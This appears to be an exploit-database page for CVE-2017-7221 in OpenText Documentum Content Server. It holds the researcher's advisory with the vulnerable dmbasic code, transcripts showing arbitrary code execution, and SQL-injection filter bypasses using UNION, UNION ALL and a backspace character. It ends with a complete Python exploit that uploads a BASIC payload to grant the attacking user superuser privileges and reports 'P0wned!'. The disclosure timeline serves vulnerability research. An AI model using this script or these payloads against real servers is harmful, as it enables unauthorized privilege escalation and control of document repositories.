1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 |
''' CVE Identifier: CVE-2017-7221 Vendor: OpenText Affected products: OpenText Documentum Content Server (all versions) Researcher: Andrey B. Panfilov Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Fix: not available PoC: https://gist.github.com/andreybpanfilov/0a4fdfad561e59317a720e702b0fec44 Description: all versions of Documentum Content Server contain dm_bp_transition docbase method ("stored procedure”) which is written on basic, implementation of this docbase methods does not properly validate user input which allows attacker to execute arbitrary code with superuser privileges. Related code snippet is: ==========================================8<======================================== 'Evaluate the user-defined entry criteria If (result = True And run_entry = "T") Then If (debug = True) Then PrintToLog sess, "Run user defined entry criteria." End If ' ' researcher comment: ' userEntryID parameter is controlled by attacker ' result = RunProcedure(userEntryID, 1, sess, sysID,_ user_name, targetState) End If ... ' ' researcher comment: ' procID parameter is controlled by attacker ' Function RunProcedure(procID As String, procNo As Integer,_ sessID As String, objID As String, userName As String,_ targetState As String) As Boolean ... StartIt: If (procID <> "0000000000000000") Then result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg) ' ' researcher comment: ' here basic interpreter loads content of user-provided script ' from underlying repostiory using following technique: ' ' checking that it is dealing with dm_procedure object ' (check was introduced in CVE-2014-2513): ' id,c,dm_procedure where r_object_id='procID' ' ' getting content of basic script ' fetch,c,procID ' getpath,c,l ' result = external(procID) If (result = True) Then If (procNo = 1) Then ' --- Running user-defined entry criteria --- result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg) On Error Goto NoFunction ' ' researcher comment ' here dmbasic interpreter executes user defined function ' result = EntryCriteria(sessID, objID, userName,_ targetState, errorStack) If (result = False) Then errorStack = "[ErrorCode] 1500 [ServerError] " + _ errorStack End If ==========================================>8======================================== So, attacker is able to create it’s own basic procedure in repository and pass it’s identifier as argument for dm_bp_transition procedure: ==========================================8<======================================== $ cat /tmp/test cat: /tmp/test: No such file or directory $ cat > test.ebs Public Function EntryCriteria(ByVal SessionId As String,_ ByVal ObjectId As String,_ ByVal UserName As String,_ ByVal TargetState As String,_ ByRef ErrorString As String) As Boolean t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test") EntryCriteria=True End Function $ iapi Please enter a docbase name (docubase): repo Please enter a user (dmadmin): unprivileged_user Please enter password for unprivileged_user: EMC Documentum iapi - Interactive API interface (c) Copyright EMC Corp., 1992 - 2011 All rights reserved. Client Library Release 6.7.1000.0027 Connecting to Server using docbase repo [DM_SESSION_I_SESSION_START]info: "Session 0101d920800b1a37 started for user unprivileged_user." Connected to Documentum Server running Release 6.7.1090.0170 Linux.Oracle Session id is s0 API> create,c,dm_procedure ... 0801d920804e5416 API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method with method='dm_bp_transition', arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 0801d920804e5416 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' (1 row affected) API> Bye $ cat /tmp/test dm_bp_transition_has_vulnerability ==========================================>8======================================== Vendor was been notified about this vulnerability on November 2013 using customer support channel, after a while vendor started claiming that this vulnerability was remediated, though no CVE was announced. Moreover, the fix was contested and CERT/CC started tracking this vulnerability, the PoC provided to CERT/CC was: ==========================================8<======================================== Vendor have decided that the root cause of problem is users are able to create dm_procedure objects, and now in Documentum Content Server v6.7SP1P26 we have following behavior: [DM_SESSION_I_SESSION_START]info: "Session 0101d920800f0174 started for user unprivileged_user." Connected to Documentum Server running Release 6.7.1260.0322 Linux.Oracle Session id is s0 API> create,c,dm_procedure ... 0801d920805929d0 API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (unprivileged_user) needs to have superuser or sysadmin privilege." BUT: API> create,c,dm_document ... 0901d920805929dd API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method with method='dm_bp_transition',arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 0901d920805929dd 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' (1 row affected) .... API> Bye ~]$ cat /tmp/test dm_bp_transition_has_vulnerability ~]$ ==========================================>8======================================== On July 2014 vendor announced ESA-2014-064 which was claiming that vulnerability has been remediated. On November 2014 fix was contested (there was significant delay after ESA-2014-064 because vendor constantly fails to provide status of reported vulnerabilities) by providing another proof of concept, description provided to CERT/CC was: ==========================================8<======================================== I have tried to reproduce PoC, described in VRF#HUFPRMOP, and got following error: [ErrorCode] 1000 [Parameter] 0801fd08805c9dfe [ServerError] Unexpected error: [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'" Such behaviour means that EMC tried to remediate a security issue by "checking" object type of supplied object: Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> id,c,dm_procedure where r_object_id = '0801fd08805c9dfe' ... [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'" API> Bye bin]$ strings dmbasic| grep dm_procedure id,%s,dm_procedure where object_name = '%s' and folder('%s') id,%s,dm_procedure where r_object_id = '%s' # old version of dmbasic binary bin]$ strings dmbasic| grep dm_procedure bin]$ So, the fix was implemented in dmbasic binary, the problem is neither 6.7 SP2 P15 nor 6.7 SP1 P28 patches contain dmbasic binary - the first patch that was shipped with dmbasic binary was 6.7SP2 P17. Moreover, the issue is still reproducible because introduced check could be bypassed using SQL injection: ~]$ cat test.ebs Public Function EntryCriteria(ByVal SessionId As String,_ ByVal ObjectId As String,_ ByVal UserName As String,_ ByVal TargetState As String,_ ByRef ErrorString As String) As Boolean t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test") EntryCriteria=True End Function ~]$ cat /tmp/test cat: /tmp/test: No such file or directory ~]$ iapi Please enter a docbase name (docubase): repo Please enter a user (dmadmin): test01 Please enter password for test01: EMC Documentum iapi - Interactive API interface (c) Copyright EMC Corp., 1992 - 2011 All rights reserved. Client Library Release 6.7.2190.0142 Connecting to Server using docbase repo [DM_SESSION_I_SESSION_START]info: "Session 0101fd088014000c started for user test01." Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> create,c,dm_sysobject ... 0801fd08805c9dfe API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' ... (1 row affected) API> Bye ~]$ cat /tmp/test dm_bp_transition_has_vulnerability ~]$ Here "union ..." allows to bypass check based on "id" call: Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> id,c,dm_procedure where r_object_id='0801fd08805c9dfe,' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe' ... 0801fd08805c9dfe API> apply,c,,GET_LAST_SQL ... q0 API> next,c,q0 ... OK API> get,c,q0,result ... select all dm_procedure.r_object_id from dm_procedure_sp dm_procedure where ((dm_procedure.r_object_id='0801fd08805c9dfe,')) and (dm_procedure.i_has_folder = 1 and dm_procedure.i_is_deleted = 0) union select all dm_sysobject.r_object_id from dm_sysobject_sp dm_sysobject where ((dm_sysobject.r_object_id= '0801fd08805c9dfe')) and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0) API> close,c,q0 ... OK Comma is required to bypass error in fetch call: API> fetch,c,0801fd08805c9dfe' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe ... [DM_API_E_BADID]error: "Bad ID given: 0801fd08805c9dfe' union select r_object_id from dm_sysobject where r_object_id= '0801fd08805c9dfe" API> fetch,c,0801fd08805c9dfe,' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe ... OK ==========================================>8======================================== On August 2015 vendor had undertaken another attempt to remediate this vulnerability check ESA-2015-131/CVE-2015-4533 for details. On August 2015 the fix was contested, check http://seclists.org/bugtraq/2015/Aug/110 for detailed description - I just demonstrated another attack vector - using UNION ALL keyword instead of UNION: =================================8<================================ API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' [DM_METHOD_E_METHOD_ARGS_INVALID]error: "The arguments being passed to the method 'dm_bp_transition' are invalid: arguments contain sql keywords which are not allowed." New attack vector (note ALL keyword): API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union all select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' =================================>8================================ Recently I have noticed that latest versions of Documentum Content Server are not affected by the PoC provided above, however all versions of Documentum Content Server are still vulnerable because vendor incorrectly implemented input validation: they convert arguments to lower/upper-case, replace line feed, carriage return and tab characters by a space, remove double spaces, after that they check where resulting string contains special keywords ('union ' and 'union all') or not - it is possible to use other whitespace characters like backspace, which is demonstrated in the PoC. __ Regards, Andrey B. Panfilov CVE-2017-7221.py ''' #!/usr/bin/env python import socket import sys from os.path import basename from dctmpy.docbaseclient import DocbaseClient from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage:\n\t%s host port user password" % basename(sys.argv[0]) def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) install_owner = session.serverconfig['r_install_owner'] document_id = session.next_id(0x08) content_id = session.next_id(0x06) store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" exit(1) data = "Public Function EntryCriteria(ByVal SessionId As String,_" \ "\nByVal ObjectId As String,_" \ "\nByVal UserName As String,_" \ "\nByVal TargetState As String,_" \ "\nByRef ErrorString As String) As Boolean" \ "\nDim QueryID As String" \ "\nDim Query As String" \ "\nQuery = \"query,c,update dm_user objects set " \ "user_privileges=16 where user_name=\'%s\'\"" \ "\nQueryID = dmAPIGet(Query)" \ "\nQueryID = dmAPIExec(\"commit,c\")" \ "\nEntryCriteria=True" \ "\nEnd Function" % (sys.argv[3]) b = bytearray() b.extend(data) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] procedure = False try: print "Trying to create dm_procedure" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_procedure") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2014-2513") document.set_string("r_object_type", "dm_procedure") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e) if not procedure: print "Failed to create dm_procedure" print "Trying to create dm_sysobject" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_sysobject") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_string("owner_name", sys.argv[3]) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2017-7221") document.set_string("r_object_type", "dm_sysobject") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if not session.sys_obj_save(document_id, document): print "Failed to create dm_sysobject" exit(1) content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_id("parent_id", document_id) content.set_int("page", 0) content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) if not session.save_cont_attrs(content_id, content): print "Failed to create content" exit(1) if procedure: query = "execute do_method WITH METHOD='dm_bp_transition'," \ " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \ "0000000000000000 0000000000000000 \"%s\" " \ "00000000000000000000000000000000 0000000000000000 " \ "\"\" 0 0 T F T T %s %s'" % \ (docbase, docbase, install_owner, document_id, install_owner, session.session) else: query = "execute do_method WITH METHOD='dm_bp_transition'," \ " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \ "0000000000000000 0000000000000000 \"%s,'' " \ "union\b select r_object_id fromdm_sysobject(all) where r_object_id=''%s\" " \ "00000000000000000000000000000000 0000000000000000 " \ "\"\" 0 0 T F T T %s %s'" % \ (docbase, docbase, install_owner, document_id, document_id, install_owner, session.session) session.query(query) r = session.query( "select user_privileges from dm_user " "where user_name=USER") \ .next_record()['user_privileges'] if r != 16: print "Failed" exit(1) print "P0wned!" def create_session(host, port, user, pwd, identity=None): print "Trying to connect to %s:%s as %s ..." % \ (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification( "dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False if __name__ == '__main__': main() |